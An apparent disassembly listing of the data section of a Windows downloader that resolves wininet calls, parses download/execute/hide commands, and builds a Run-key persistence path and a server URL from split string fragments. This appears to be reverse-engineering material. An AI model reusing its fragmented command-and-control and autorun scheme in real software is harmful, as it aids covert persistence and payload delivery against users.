dword_435DC0	dd 19930520h, 1, 435DE0h, 5 dup(0)		dd 0FFFFFFFFh, 432920h
dword_435DE8	dd 19930520h, 1, 435E08h, 5 dup(0)		dd 0FFFFFFFFh, 432940h,	0
		dd offset off_437C48
		dd 0
		dd 0FFFFFFFFh, 0
		dd 10h,	431BB6h, 0
dword_435E30	dd 1, 435E10h	dword_435E38	dd 0				dd offset sub_431BE3
		dd 0
		dd offset dword_435E30
		align 200h
HLXc		ends

; Section 2. (virtual address 00016000)
; Virtual size			: 00009000 (  36864.)
; Section size in file		: 00009000 (  36864.)
; Offset to raw	data for section: 00016000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
HLXc		segment	para public 'CODE' use32
		assume cs:HLXc
		;org 436000h
		assume es:nothing, ss:nothing, ds:HLXc,	fs:nothing, gs:nothing
dword_436000	dd 400h	dup(0)	dword_437000	dd 0				dd offset sub_4284F0
		dd offset sub_4319C1
dword_43700C	dd 0		dword_437010	dd 0		dword_437014	dd 3 dup(0)			dd offset off_434AE4
		align 8
		dd 482Eh
dword_43702C	dd 6325h	off_437030	dd offset off_434AE4	; DATA XREF: HLXc:00434E2Co
		align 8
a_pavcexception	db '.PAVCException@@',0
		align 4
aR_0:					; DATA XREF: HLXc:00422558o
		unicode	0, <r>,0
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4227A4:loc_4227EDo
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4227A4:loc_422808o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4227A4+79o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4227A4+8Bo
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4227A4+9Do
		align 4
aD_0		db '%d',0               ; DATA XREF: sub_422A1E+102o
		align 4
aOpen		db 'OPEN',0             ; DATA XREF: sub_422C48+1E2o
		align 4
a_old		db '.old',0             ; DATA XREF: sub_422C48+13Fo
		align 4
aInstallzip	db 'InstallZip()',0Ah,0 ; DATA XREF: sub_422C48+7Bo
		align 4
a_bin		db '.bin',0             ; DATA XREF: sub_422C48+3Do
		align 4
aRetryD		db '&retry=%d',0        ; DATA XREF: sub_422EC3+4Co
		align 10h
a0:					; DATA XREF: sub_425AD2+6Co
		unicode	0, <0>,0
a02x		db '%02X',0             ; DATA XREF: sub_422F54+D1o
		align 4
dword_4370EC	dd 0D321C942h, 2212B3F2h, 6608AB02h, 0					; sub_42309C+8Eo
dword_4370FC	dd 6325h	dword_437100	dd 74696E49h, 646E7542h, 0A656Chdword_43710C	dd 5Ch							; sub_4254CE+38o ...
aWindows	db 'windows',0          ; DATA XREF: sub_42342D+BEBo
aCrc		db 'crc',0              ; DATA XREF: sub_42342D:loc_423F5Bo
aIdentifier	db 'identifier',0       ; DATA XREF: sub_42342D:loc_423EE4o
		align 4
aVersion_0	db 'version',0          ; DATA XREF: sub_42342D:loc_423E73o
aNewupdater	db 'newupdater',0       ; DATA XREF: sub_42342D:loc_423E03o
		align 4
aWait		db 'wait',0             ; DATA XREF: sub_42342D:loc_423D93o
		align 4
aExecute	db 'execute',0          ; DATA XREF: sub_42342D:loc_423D23o
aHide		db 'hide',0             ; DATA XREF: sub_42342D:loc_423CB3o
		align 4
aSavepath	db 'SavePath',0         ; DATA XREF: sub_42342D:loc_423C48o
		align 10h
aSaveas		db 'SaveAs',0           ; DATA XREF: sub_42342D:loc_423BD1o
		align 4
aParameters	db 'parameters',0       ; DATA XREF: sub_42342D:loc_423B60o
		align 4
aFilename	db 'filename',0         ; DATA XREF: sub_42342D:loc_423AEFo
		align 10h
aRequiredfile	db 'requiredfile',0     ; DATA XREF: sub_42342D:loc_423A7Eo
		align 10h
aKeyvalue	db 'keyvalue',0         ; DATA XREF: sub_42342D:loc_423A0Do
		align 4
aKey		db 'key',0              ; DATA XREF: sub_42342D:loc_4239A2o
aRootkey	db 'rootkey',0          ; DATA XREF: sub_42342D+508o
aDownload	db 'download',0         ; DATA XREF: sub_42342D:loc_423809o
					; sub_424429+5Fo
		align 4
aWrNextupdate	db 'WR\nextupdate',0    ; DATA XREF: sub_42342D+3A6o
		align 4
aNextupdate	db 'nextupdate',0       ; DATA XREF: sub_42342D:loc_4236F8o
		align 10h
aWrP		db 'WR\p',0             ; DATA XREF: sub_42342D+282o
		align 4
aPaid		db 'paid',0             ; DATA XREF: sub_42342D:loc_4235D7o
		align 10h
aWrConfigversio	db 'WR\configversion',0 ; DATA XREF: sub_42342D+161o
		align 4
aConfigversio_0	db 'configversion',0    ; DATA XREF: sub_42342D+84o
		align 4
aS		db '%s',0               ; DATA XREF: sub_42342D+6Eo
					; sub_42342D+4EAo ...
		align 4
aParsexml	db 'ParseXML()',0Ah,0   ; DATA XREF: sub_42342D+2Fo
		align 8
dword_437218	dd 2933BF80h, 11D27B36h, 0C0000EB2h, 603E984Fh					; sub_42438B+19o ...
dword_437228	dd 3Ah		dword_43722C	dd 765C5257h, 69737265h, 6E6Fh					; sub_4245AA+320o ...
dword_437238	dd 706D742Eh, 0	dword_437240	dd 6C6F2320h, 3A64haDefaultvalue	db 'defaultvalue',0     ; DATA XREF: sub_4252F7+88o
					; sub_425FC6+214o
		align 4
asc_437258:				; DATA XREF: sub_424AE5+652o
		unicode	0, <}>,0
a001		db '001',0              ; DATA XREF: sub_424AE5+5F5o
a000_1		db '000',0              ; DATA XREF: sub_424AE5+5E3o
a0a887397a5f2_1	db '0A887397A5F240675EEF4D35019B6883A6FA5D6C5EF8711536AC4C8FA4DA76476'
					; DATA XREF: sub_424AE5+4AEo
		db 'DE96109318D40A797',0
		align 4
a000		db '0-00',0             ; DATA XREF: sub_424AE5+410o
		align 10h
a000_0		db '-000',0             ; DATA XREF: sub_424AE5+3EFo
		align 4
a0a887397a5f2_0	db '0A887397A5F240675EEF4D35019B6883A6FA5D6C5EF8711536AC4C8FA1CA61566'
					; DATA XREF: sub_424AE5+32Do
		db '7C64A0F2DBA65B286D6',0
		align 10h
asc_437320:				; DATA XREF: sub_424AE5+2D7o
					; sub_424AE5+30Eo ...
		unicode	0, <->,0
a0a887397a5f240	db '0A887397A5F240675EEF4D35019B6883A6FA5D6C5EF8711536AC4C8FB1D67C567'
					; DATA XREF: sub_424AE5+228o
		db '0CA643630A642B681C07D505E9B54180FA15B',0
		align 4
a67f9198b	db '67F9198B',0         ; DATA XREF: sub_424AE5+1BAo
		align 4
a39		db '39',0               ; DATA XREF: sub_424AE5+10Eo
		align 4
a67f9158b	db '67F9158B',0         ; DATA XREF: sub_424AE5+CBo
					; sub_424AE5+284o
		align 4
asc_4373A8:				; DATA XREF: sub_4252F7+F8o
		unicode	0, < >,0
aNner1		db 'nner1',0            ; DATA XREF: sub_4252F7+6Eo
		align 4
aUnRu		db 'un\ru',0            ; DATA XREF: sub_4252F7+5Do
		align 4
aTversionR	db 'tVersion\R',0       ; DATA XREF: sub_4252F7+4Co
		align 4
aFtWindowsCurre	db 'ft\Windows\Curren',0 ; DATA XREF: sub_4252F7+3Bo
		align 4
aSoftwareMicros	db 'SOFTWARE\Microso',0 ; DATA XREF: sub_4252F7+20o
		align 10h
aGversion	db 'gversion',0         ; DATA XREF: sub_4254CE+5Ao
		align 4
aConfi		db 'confi',0            ; DATA XREF: sub_4254CE+49o
		align 4
aWr		db 'WR',0               ; DATA XREF: sub_4254CE+21o
					; sub_4255E6+1Bo ...
		align 4
aDate		db 'date',0             ; DATA XREF: sub_4255E6+64o
		align 10h
aTup		db 'tup',0              ; DATA XREF: sub_4255E6+54o
aNex		db 'nex',0              ; DATA XREF: sub_4255E6+44o
aP_1:					; DATA XREF: sub_425733+49o
		unicode	0, <p>,0
aI_0:					; DATA XREF: sub_42583A+5Ao
					; sub_425952+57o
		unicode	0, <i>,0
aR:					; DATA XREF: sub_42583A+38o
					; sub_425952+35o ...
		unicode	0, <R>,0
aW:					; DATA XREF: sub_42583A+21o
					; sub_425952+1Ao ...
		unicode	0, <W>,0
asc_437428:				; DATA XREF: sub_425952+E4o
		unicode	0, <,>,0
aCmd_0		db 'cmd',0              ; DATA XREF: sub_425AD2+57o
aMd		db 'md',0               ; DATA XREF: sub_425C0B+6Bo
		align 4
aC:					; DATA XREF: sub_425C0B+5Ao
		unicode	0, <c>,0
aAffid		db 'affID',0            ; DATA XREF: sub_425D38+1E7o
		align 10h
a34ac53a09bdc7c	db '34AC53A09BDC7C',0   ; DATA XREF: sub_425FC6+272o
		align 10h
a11866787a5f240	db '11866787A5F240675EE6610530A652BC94C74E756BC56C0935BA7D9087C160476'
					; DATA XREF: sub_425FC6+228o
		db 'CDF5E0330BA48BC9CEF42506DCC7A072F8F48BF97C0564B70',0
		align 4
a_exe_tmp	db '.exe.tmp',0         ; DATA XREF: sub_425FC6+135o
		align 10h
aInu		db 'inu',0              ; DATA XREF: sub_425FC6+12Ao
aOf		db 'of',0               ; DATA XREF: sub_425FC6+116o
		align 4
aMr		db 'mr',0               ; DATA XREF: sub_425FC6+105o
		align 4
aE:					; DATA XREF: sub_425FC6+DDo
		unicode	0, <e>,0
a_ex		db '.ex',0              ; DATA XREF: sub_425FC6+B5o
aFinu		db 'finu',0             ; DATA XREF: sub_425FC6+A1o
		align 4
aRo		db 'ro',0               ; DATA XREF: sub_425FC6+90o
		align 10h
aM		db '\m',0               ; DATA XREF: sub_425FC6+64o
		align 4
aSei		db 'sei ',0Ah,0         ; DATA XREF: sub_4263D6+79o
		align 4
a11a144bf9ef66a	db '11A144BF9EF66A4761DE7C0307B1',0 ; DATA XREF: sub_4263D6+43o
		align 4
a31a144bf9e8020	db '31A144BF9E80200C66C764',0 ; DATA XREF: sub_4263D6+18o
		align 4
asc_437534:				; DATA XREF: sub_426584+60o
		unicode	0, <\>,0
asc_437538:				; DATA XREF: sub_426584+ACo
		unicode	0, <\>,0
asc_43753C:				; DATA XREF: sub_426584+107o
		unicode	0, <\>,0
asc_437540:				; DATA XREF: sub_426584+117o
		unicode	0, <\>,0
asc_437544:				; DATA XREF: sub_42692B+8Ao
		unicode	0, <\>,0
asc_437548:				; DATA XREF: sub_42692B+D6o
		unicode	0, <\>,0
asc_43754C:				; DATA XREF: sub_42692B+131o
		unicode	0, <\>,0
asc_437550:				; DATA XREF: sub_42692B+141o
		unicode	0, <\>,0
asc_437554:				; DATA XREF: HLXc:00426FE4o
		unicode	0, <\>,0
asc_437558:				; DATA XREF: HLXc:00427030o
		unicode	0, <\>,0
asc_43755C:				; DATA XREF: HLXc:0042708Bo
		unicode	0, <\>,0
asc_437560:				; DATA XREF: HLXc:0042709Bo
		unicode	0, <\>,0
asc_437564:				; DATA XREF: HLXc:00427507o
		unicode	0, <\>,0
asc_437568:				; DATA XREF: HLXc:00427553o
		unicode	0, <\>,0
asc_43756C:				; DATA XREF: HLXc:004275AEo
		unicode	0, <\>,0
asc_437570:				; DATA XREF: HLXc:004275BEo
		unicode	0, <\>,0
aD		db '%d',0               ; DATA XREF: sub_42852F+147o
		align 4
asc_437578	db '&x=',0              ; DATA XREF: sub_42852F+15Do
aI		db '&i=',0              ; DATA XREF: sub_42852F+194o
aP		db '&p=',0              ; DATA XREF: sub_42852F+1CBo
aCmd		db '&cmd=',0            ; DATA XREF: sub_42852F+1D5o
		align 4
aGuid		db '&GUID=',0           ; DATA XREF: sub_42852F+22Ao
		align 4
aConfigversion	db '&configversion=',0  ; DATA XREF: sub_42852F+261o
aVersion	db '&version=',0        ; DATA XREF: sub_42852F+270o
		align 10h
aHtt		db 'htt',0              ; DATA XREF: sub_42852F+591o
aP_0		db 'p://',0             ; DATA XREF: sub_42852F+5ABo
		align 4
aWr_mc		db 'wr.mc',0            ; DATA XREF: sub_42852F+5C5o
		align 4
aBo		db 'bo',0               ; DATA XREF: sub_42852F+5DFo
		align 4
aO:					; DATA XREF: sub_42852F+5F9o
		unicode	0, <o>,0
a_co		db '.co',0              ; DATA XREF: sub_42852F+613o
aMR		db 'm/r',0              ; DATA XREF: sub_42852F+62Do
aEta		db 'eta',0              ; DATA XREF: sub_42852F+647o
aDpu_		db 'dpu.',0             ; DATA XREF: sub_42852F+661o
		align 10h
aPh		db 'ph',0               ; DATA XREF: sub_42852F+67Bo
		align 4
aP?		db 'p?',0               ; DATA XREF: sub_42852F+695o
		align 4
aOld		db 'old',0              ; DATA XREF: sub_42908F+3C1o
		align 10h
dword_4375F0	dd 2933BF81h, 11D27B36h, 0C0000EB2h, 603E984Fh					; sub_429D20+4Ao
aNeedDictiona_0	db 'need dictionary',0  ; DATA XREF: HLXc:off_4332E0o
aStreamEnd	db 'stream end',0       ; DATA XREF: HLXc:004332E4o
		align 4
aFileError	db 'file error',0       ; DATA XREF: HLXc:004332ECo
		align 4
aStreamError	db 'stream error',0     ; DATA XREF: HLXc:004332F0o
		align 4
aDataError	db 'data error',0       ; DATA XREF: HLXc:004332F4o
		align 4
aInsufficientMe	db 'insufficient memory',0 ; DATA XREF: HLXc:004332F8o
aBufferError	db 'buffer error',0     ; DATA XREF: HLXc:004332FCo
		align 4
aIncompatibleVe	db 'incompatible version',0 ; DATA XREF: HLXc:00433300o
		align 10h
aInvalidLiteral	db 'invalid literal/length code',0 ; DATA XREF: sub_42A17E+342o
aInvalidDistanc	db 'invalid distance code',0 ; DATA XREF: sub_42A17E+60Eo
		align 4
aInvalidBlockTy	db 'invalid block type',0 ; DATA XREF: sub_42B09D+29Bo
		align 4
aInvalidStoredB	db 'invalid stored block lengths',0 ; DATA XREF: sub_42B09D+3D8o
		align 4
aTooManyLengthO	db 'too many length or distance symbols',0 ; DATA XREF: sub_42B09D+7D2o
aInvalidBitLeng	db 'invalid bit length repeat',0 ; DATA XREF: sub_42B09D+DE1o
		align 4
aOversubscribed	db 'oversubscribed dynamic bit lengths tree',0 ; DATA XREF: sub_42CD2E+65o
aIncompleteDyna	db 'incomplete dynamic bit lengths tree',0 ; DATA XREF: sub_42CD2E+7Fo
aOversubscrib_0	db 'oversubscribed literal/length tree',0 ; DATA XREF: sub_42CDD6+84o
		align 4
aIncompleteLite	db 'incomplete literal/length tree',0 ; DATA XREF: sub_42CDD6+96o
		align 4
aOversubscrib_1	db 'oversubscribed distance tree',0 ; DATA XREF: sub_42CDD6+119o
		align 4
aIncompleteDist	db 'incomplete distance tree',0 ; DATA XREF: sub_42CDD6+12Bo
		align 4
aEmptyDistanceT	db 'empty distance tree with lengths',0 ; DATA XREF: sub_42CDD6+144o
		align 4
aInvalidDista_0	db 'invalid distance code',0 ; DATA XREF: sub_42CF86+3A8o
		align 10h
aInvalidLiter_0	db 'invalid literal/length code',0 ; DATA XREF: sub_42CF86+586o
a1_1_3		db '1.1.3',0            ; DATA XREF: HLXc:0042DABAo
		align 4
a1_1_3_0	db '1.1.3',0            ; DATA XREF: sub_42DBE5+6o
		align 4
byte_43785C	db 31h			; DATA XREF: sub_42DBE5+20r
		db 2Eh,	31h, 2Eh
		dd 33h
aUnknownCompres	db 'unknown compression method',0 ; DATA XREF: sub_42DD65+D1o
		align 10h
aInvalidWindowS	db 'invalid window size',0 ; DATA XREF: sub_42DD65+113o
aIncorrectHeade	db 'incorrect header check',0 ; DATA XREF: sub_42DD65+1B1o
		align 4
aNeedDictionary	db 'need dictionary',0  ; DATA XREF: sub_42DD65+3C3o
aIncorrectDataC	db 'incorrect data check',0 ; DATA XREF: sub_42DD65+64Co
		align 4
asc_4378D4:				; DATA XREF: sub_42FFCE+39o
		unicode	0, <\>,0
aUt		db 'UT',0               ; DATA XREF: sub_43007C+4ACo
		align 4
a__		db '../',0              ; DATA XREF: sub_4308E2+32Do
a___0		db '..\',0              ; DATA XREF: sub_4308E2+349o
aUnknownZipResu	db 'unknown zip result code',0 ; DATA XREF: HLXc:loc_430E59o
aSuccess	db 'Success',0          ; DATA XREF: HLXc:loc_430FDFo
aCuldnTDuplicat	db 'Culdn',27h,'t duplicate handle',0 ; DATA XREF: HLXc:loc_430FEBo
		align 10h
aCouldnTCreateO	db 'Couldn',27h,'t create/open file',0 ; DATA XREF: HLXc:loc_430FF7o
		align 4
aFailedToAlloca	db 'Failed to allocate memory',0 ; DATA XREF: HLXc:loc_431003o
		align 4
aErrorWritingTo	db 'Error writing to file',0 ; DATA XREF: HLXc:loc_43100Fo
		align 10h
aFileNotFoundIn	db 'File not found in the zipfile',0 ; DATA XREF: HLXc:loc_43101Bo
		align 10h
aStillMoreDataT	db 'Still more data to unzip',0 ; DATA XREF: HLXc:loc_431027o
		align 4
aZipfileIsCorru	db 'Zipfile is corrupt or not a zipfile',0 ; DATA XREF: HLXc:loc_431030o
aErrorReadingFi	db 'Error reading file',0 ; DATA XREF: HLXc:loc_431039o
		align 4
aCallerFaultyAr	db 'Caller: faulty arguments',0 ; DATA XREF: HLXc:loc_431042o
		align 10h
aCallerTheFileH	db 'Caller: the file had already been partially unzipped',0
					; DATA XREF: HLXc:loc_43104Bo
		align 4
aCallerCanOnlyG	db 'Caller: can only get memory of a memory zipfile',0
					; DATA XREF: HLXc:loc_431054o
aCallerNotEnoug	db 'Caller: not enough space allocated for memory zipfile',0
					; DATA XREF: HLXc:loc_43105Do
		align 10h
aCallerThereWas	db 'Caller: there was a previous error',0 ; DATA XREF: HLXc:loc_431066o
		align 4
aCallerAddition	db 'Caller: additions to the zip have already been ended',0
					; DATA XREF: HLXc:loc_43106Fo
		align 4
aCallerMixingCr	db 'Caller: mixing creation and opening of zip',0
					; DATA XREF: HLXc:loc_431078o
		align 4
aZipBugInternal	db 'Zip-bug: internal initialisation not completed',0
					; DATA XREF: HLXc:loc_431081o
		align 4
aZipBugTryingTo	db 'Zip-bug: trying to seek the unseekable',0 ; DATA XREF: HLXc:loc_43108Ao
		align 10h
aZipBugTheAntic	db 'Zip-bug: the anticipated size turned out wrong',0
					; DATA XREF: HLXc:loc_431093o
		align 10h
aZipBugTriedToC	db 'Zip-bug: tried to change mind, but not allowed',0
					; DATA XREF: HLXc:loc_43109Co
		align 10h
aZipBugAnIntern	db 'Zip-bug: an internal error during flation',0
					; DATA XREF: HLXc:loc_4310A5o
		align 10h
off_437C10	dd offset off_434AE4	; DATA XREF: HLXc:off_434B00o
					; HLXc:00434B3Co
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
dword_437C30	dd 1				align 8
dword_437C38	dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bhoff_437C48	dd offset off_434AE4	; DATA XREF: HLXc:off_434B48o
					; HLXc:00434B84o ...
		align 10h
a_?av_com_error	db '.?AV_com_error@@',0
		align 8
a8b		db '8B',0               ; DATA XREF: sub_421ACF+24o
					; sub_421ACF+64o ...
		align 4
		dd 7FFh	dup(0)
byte_439C68	db 0			; DATA XREF: HLXc:00421B9Ar
		align 4
byte_439C6C	db 0			; DATA XREF: HLXc:00421BB5r
		align 10h
byte_439C70	db 0			; DATA XREF: sub_421C92+25r
		align 4
byte_439C74	db 0			; DATA XREF: sub_421D8A+Ar
		align 4
byte_439C78	db 0			; DATA XREF: sub_421D8A+25r
		align 4
byte_439C7C	db 0			; DATA XREF: HLXc:00421E90r
		align 10h
byte_439C80	db 0			; DATA XREF: HLXc:00421EABr
		align 4
byte_439C84	db 0			; DATA XREF: HLXc:00421F65r
		align 4
byte_439C88	db 0			; DATA XREF: HLXc:loc_421FCBr
		align 4
byte_439C8C	db 0			; DATA XREF: HLXc:00422050r
		align 10h
byte_439C90	db 0			; DATA XREF: HLXc:0042206Br
		align 4
byte_439C94	db 0			; DATA XREF: HLXc:loc_422104r
		align 4
byte_439C98	db 0			; DATA XREF: sub_422296+Ar
		align 4
dword_439C9C	dd 0		byte_439CA0	db 0			; DATA XREF: sub_422F54+1Br
					; sub_422F54:loc_42304Do ...
		align 4
word_439CA4	dw 0			; DATA XREF: sub_424AE5+2Er
		align 4
dword_439CA8	dd 0		dword_439CAC	dd 0		dword_439CB0	dd 0		dword_439CB4	dd 0		dword_439CB8	dd 0		dword_439CBC	dd 0		dword_439CC0	dd 0		dword_439CC4	dd 0		dword_439CC8	dd 0		dword_439CCC	dd 0		dword_439CD0	dd 0		dword_439CD4	dd 0		dword_439CD8	dd 0		dword_439CDC	dd 0		dword_439CE0	dd 0		dword_439CE4	dd 0		dword_439CE8	dd 0		dword_439CEC	dd 0		dword_439CF0	dd 0							; sub_428520+3o ...
aJSJSJSJS	db 'ssss',0
		align 4
aJSJS		db 'ss',0
		align 4
		dd 325000h, 325050h, 73EA86D4h,	801h dup(0)
		dd offset off_4332DC
		align 10h
dword_43BD30	dd 0							; sub_42908F+41o ...
dword_43BD34	dd 0							; sub_43110B+73w ...
dword_43BD38	dd 0		dword_43BD3C	dd 3 dup(0)	dword_43BD48	dd 0		dword_43BD4C	dd 0		dword_43BD50	dd 0		dword_43BD54	dd 0		dword_43BD58	dd 4 dup(0)	dword_43BD68	dd 0		dword_43BD6C	dd 0FFFFFFFFh						; HLXc:004317EEw
dword_43BD70	dd 0FFFFFFFFh						; sub_431776+1Ao ...
		dd 4A3h	dup(0)
		dd 140h, 12018h, 65724301h, 46657461h, 41656C69h, 65520100h
		dd 69466461h, 100656Ch,	736F6C43h, 6E614865h, 656C64h
		dd 74654701h, 656C6946h, 657A6953h, 65470100h, 73614C74h
		dd 72724574h, 100726Fh
aGetcurrentdire	db 'GetCurrentDirectoryA',0
		db 1, 43h, 72h
aEatedirectorya	db 'eateDirectoryA',0
		db 1
aRemovedirector	db 'RemoveDirectoryA',0
		db 1, 53h, 65h
aTfileattribute	db 'tFileAttributesA',0
		db 1, 47h, 65h
aTfileattribu_0	db 'tFileAttributesA',0
		db 1, 46h, 69h
aNdclose	db 'ndClose',0
		db    1
aUnmapviewoffil	db 'UnmapViewOfFile',0
		db 1, 53h, 65h
aTcurrentdirect	db 'tCurrentDirectoryA',0
		db 1
aGlobalfree	db 'GlobalFree',0
		db 1
aWritefile	db 'WriteFile',0
		dw 4601h
aReelibrary	db 'reeLibrary',0
		db 1
aGlobalrealloc	db 'GlobalReAlloc',0
		dw 4701h
aLobalalloc	db 'lobalAlloc',0
		db 1
aGetprocaddress	db 'GetProcAddress',0
		db 1
aLocalfree	db 'LocalFree',0
		dw 5701h
aIdechartomulti	db 'ideCharToMultiByte',0
		db 1
aMultibytetowid	db 'MultiByteToWideChar',0
		dd 70614D01h, 77656956h, 6946664Fh, 100656Ch
aCreatefilemapp	db 'CreateFileMappingA',0
		db 1
aLstrcata	db 'lstrcatA',0
		db 1, 53h, 65h
aTlasterror	db 'tLastError',0
		db 1
aFindfirstfilea	db 'FindFirstFileA',0
		db 1
aFindnextfilea	db 'FindNextFileA',0
		dw 4701h
aEtstartupinfoa	db 'etStartupInfoA',0
		db 1
aGetmodulehandl	db 'GetModuleHandleA',0
		db 1, 53h, 65h
aTfiletime	db 'tFileTime',0
		dw 4401h
aOsdatetimetofi	db 'osDateTimeToFileTime',0
		db 1, 53h, 79h
aStemtimetofile	db 'stemTimeToFileTime',0
		db 1
aGetcurrentproc	db 'GetCurrentProcess',0
		dw 4401h
aUplicatehandle	db 'uplicateHandle',0
		db 1
aGetfiletype	db 'GetFileType',0
		db    1
aSetfilepointer	db 'SetFilePointer',0
		db    1
aInterlockedinc	db 'InterlockedIncrement',0
		dw 4301h
aReatemutexa	db 'reateMutexA',0
		db    1
aLstrlena	db 'lstrlenA',0
		dw 4701h
aEtvolumeinform	db 'etVolumeInformationA',0
		db 1, 47h, 65h
aTsystemdefault	db 'tSystemDefaultLCID',0
		db 1
aGetlocaleinfoa	db 'GetLocaleInfoA',0
		db 1
aInterlockeddec	db 'InterlockedDecrement',0
		db 1, 6Ch, 73h
aTrcpyna	db 'trcpynA',0
		db    1
aLstrcpya	db 'lstrcpyA',0
		dw 5701h
aAitforsingleob	db 'aitForSingleObject',0
		db 1
aGetwindowsdire	db 'GetWindowsDirectoryA',0
		db 1, 47h, 65h
aTmodulefilenam	db 'tModuleFileNameA',0
		db 1, 4Ch, 6Fh
aAdlibrarya	db 'adLibraryA',0
		db 1
aSleep		db 'Sleep',0
		dw 4D00h
		dd 1, 1000120h,	43676552h, 65736F6Ch, 79654Bh, 67655201h
		dd 6E65704Fh, 4579654Bh, 1004178h, 53676552h, 61567465h
		dd 4565756Ch, 1004178h,	43676552h, 74616572h, 79654B65h
		dd 417845h, 67655201h, 72657551h, 6C615679h, 78456575h
		dd 5A000041h, 0E8000001h, 0FF000120h, 12FF1B10h, 164EFF1Bh
		dd 0FF03ABFFh, 0ADFF039Eh, 0B63FF03h, 0FF0339FFh, 33FF15C4h
		dd 1021FF16h, 0FF039CFFh, 1CFF039Ah, 35AFF02h, 0FF0320FFh
		dd 17FF035Ch, 959FF02h,	0FF0219FFh, 64000337h, 40000001h
		dd 1000121h
a?sh_read@fileb	db '?sh_read@filebuf@@2HB',0
		dw 3F01h
aIs_open@ifstre	db 'is_open@ifstream@@QBEHXZ',0
		db 1, 3Fh, 66h
aAil@ios@@qbehx	db 'ail@ios@@QBEHXZ',0
		dd 65723F01h, 69406461h, 65727473h, 40406D61h, 41454151h
		dd 40315641h, 48444150h, 1005A40h, 6F63673Fh, 40746E75h
		dd 72747369h, 406D6165h, 45425140h, 5A5848h, 6C633F01h
		dd 4065736Fh, 74736669h, 6D616572h, 41514040h, 5A585845h
		dd 3F3F0100h, 6669445Fh, 65727473h, 40406D61h, 58454151h
		dd 1005A58h, 69303F3Fh,	72747366h, 406D6165h, 45415140h
		dd 5A5840h, 706F3F01h, 69406E65h, 72747366h, 406D6165h
		dd 45415140h, 44425058h, 5A404848h, 1700000h, 21680000h
		dd 3F010001h, 243F313Fh, 69736162h, 74735F63h, 676E6972h
		dd 3F554440h, 61686324h, 72745F72h, 73746961h, 73404440h
		dd 40406474h, 61243F56h, 636F6C6Ch, 726F7461h, 32404440h
		dd 74734040h, 51404064h, 58404541h, 3F01005Ah, 243F303Fh
		dd 69736162h, 74735F63h, 676E6972h, 3F554440h, 61686324h
		dd 72745F72h, 73746961h, 73404440h, 40406474h, 61243F56h
		dd 636F6C6Ch, 726F7461h, 32404440h, 74734040h, 51404064h
		dd 41404541h, 243F5642h, 6F6C6C61h, 6F746163h, 40444072h
		dd 5A404031h, 733F0100h, 74736275h, 243F4072h, 69736162h
		dd 74735F63h, 676E6972h, 3F554440h, 61686324h, 72745F72h
		dd 73746961h, 73404440h, 40406474h, 61243F56h, 636F6C6Ch
		dd 726F7461h, 32404440h, 74734040h, 51404064h, 413F4542h
		dd 40323156h, 5A404949h, 663F0100h, 5F646E69h, 7473616Ch
		dd 40666F5Fh, 6162243Fh, 5F636973h, 69727473h, 4440676Eh
		dd 63243F55h, 5F726168h, 69617274h, 44407374h, 64747340h
		dd 3F564040h, 6C6C6124h, 7461636Fh, 4440726Fh, 40403240h
		dd 40647473h, 45425140h, 40494449h, 3F01005Ah, 736F706Eh
		dd 62243F40h, 63697361h, 7274735Fh, 40676E69h, 243F5544h
		dd 72616863h, 6172745Fh, 40737469h, 74734044h, 56404064h
		dd 6C61243Fh, 61636F6Ch, 40726F74h, 40324044h, 64747340h
		dd 49324040h, 3F010042h, 243F343Fh, 69736162h, 74735F63h
		dd 676E6972h, 3F554440h, 61686324h, 72745F72h, 73746961h
		dd 73404440h, 40406474h, 61243F56h, 636F6C6Ch, 726F7461h
		dd 32404440h, 74734040h, 51404064h, 41414541h, 40313056h
		dd 30564241h, 5A404031h, 3F3F0100h, 62243F30h, 63697361h
		dd 7274735Fh, 40676E69h, 243F5544h, 72616863h, 6172745Fh
		dd 40737469h, 74734044h, 56404064h, 6C61243Fh, 61636F6Ch
		dd 40726F74h, 40324044h, 64747340h, 41514040h, 42414045h
		dd 40313056h, 1005A40h,	7373613Fh, 406E6769h, 6162243Fh
		dd 5F636973h, 69727473h, 4440676Eh, 63243F55h, 5F726168h
		dd 69617274h, 44407374h, 64747340h, 3F564040h, 6C6C6124h
		dd 7461636Fh, 4440726Fh, 40403240h, 40647473h, 45415140h
		dd 31564141h, 42504032h, 5A4044h, 5F633F01h, 40727473h
		dd 6162243Fh, 5F636973h, 69727473h, 4440676Eh, 63243F55h
		dd 5F726168h, 69617274h, 44407374h, 64747340h, 3F564040h
		dd 6C6C6124h, 7461636Fh, 4440726Fh, 40403240h, 40647473h
		dd 45425140h, 58444250h, 3F01005Ah, 657A6973h, 62243F40h
		dd 63697361h, 7274735Fh, 40676E69h, 243F5544h, 72616863h
		dd 6172745Fh, 40737469h, 74734044h, 56404064h, 6C61243Fh
		dd 61636F6Ch, 40726F74h, 40324044h, 64747340h, 42514040h
		dd 5A584945h, 3F3F0100h, 64747338h, 41594040h, 42414E5Fh
		dd 62243F56h, 63697361h, 7274735Fh, 40676E69h, 243F5544h
		dd 72616863h, 6172745Fh, 40737469h, 74734044h, 56404064h
		dd 6C61243Fh, 61636F6Ch, 40726F74h, 40324044h, 30403040h
		dd 1005A40h, 3F343F3Fh,	73616224h, 735F6369h, 6E697274h
		dd 55444067h, 6863243Fh, 745F7261h, 74696172h, 40444073h
		dd 40647473h, 243F5640h, 6F6C6C61h, 6F746163h, 40444072h
		dd 73404032h, 40406474h, 41454151h, 31305641h, 44425040h
		dd 5A40h, 17Ch,	1219Ch,	72747301h, 7970636Eh, 74610100h
		dd 1006C6Fh, 656D6974h,	74610100h, 100696Fh, 7274735Fh
		dd 6D63696Eh, 5F010070h, 64727473h, 1007075h, 73626D5Fh
		dd 727075h, 72747301h, 746163h,	48455F01h, 6F72705Fh, 676F6Ch
		dd 6D656D01h, 797063h, 706F6601h, 1006E65h, 6C6C616Dh
		dd 100636Fh, 73727473h,	1007274h, 6F6C6366h, 1006573h
		dd 65657266h, 5F5F0100h, 46787843h, 656D6172h, 646E6148h
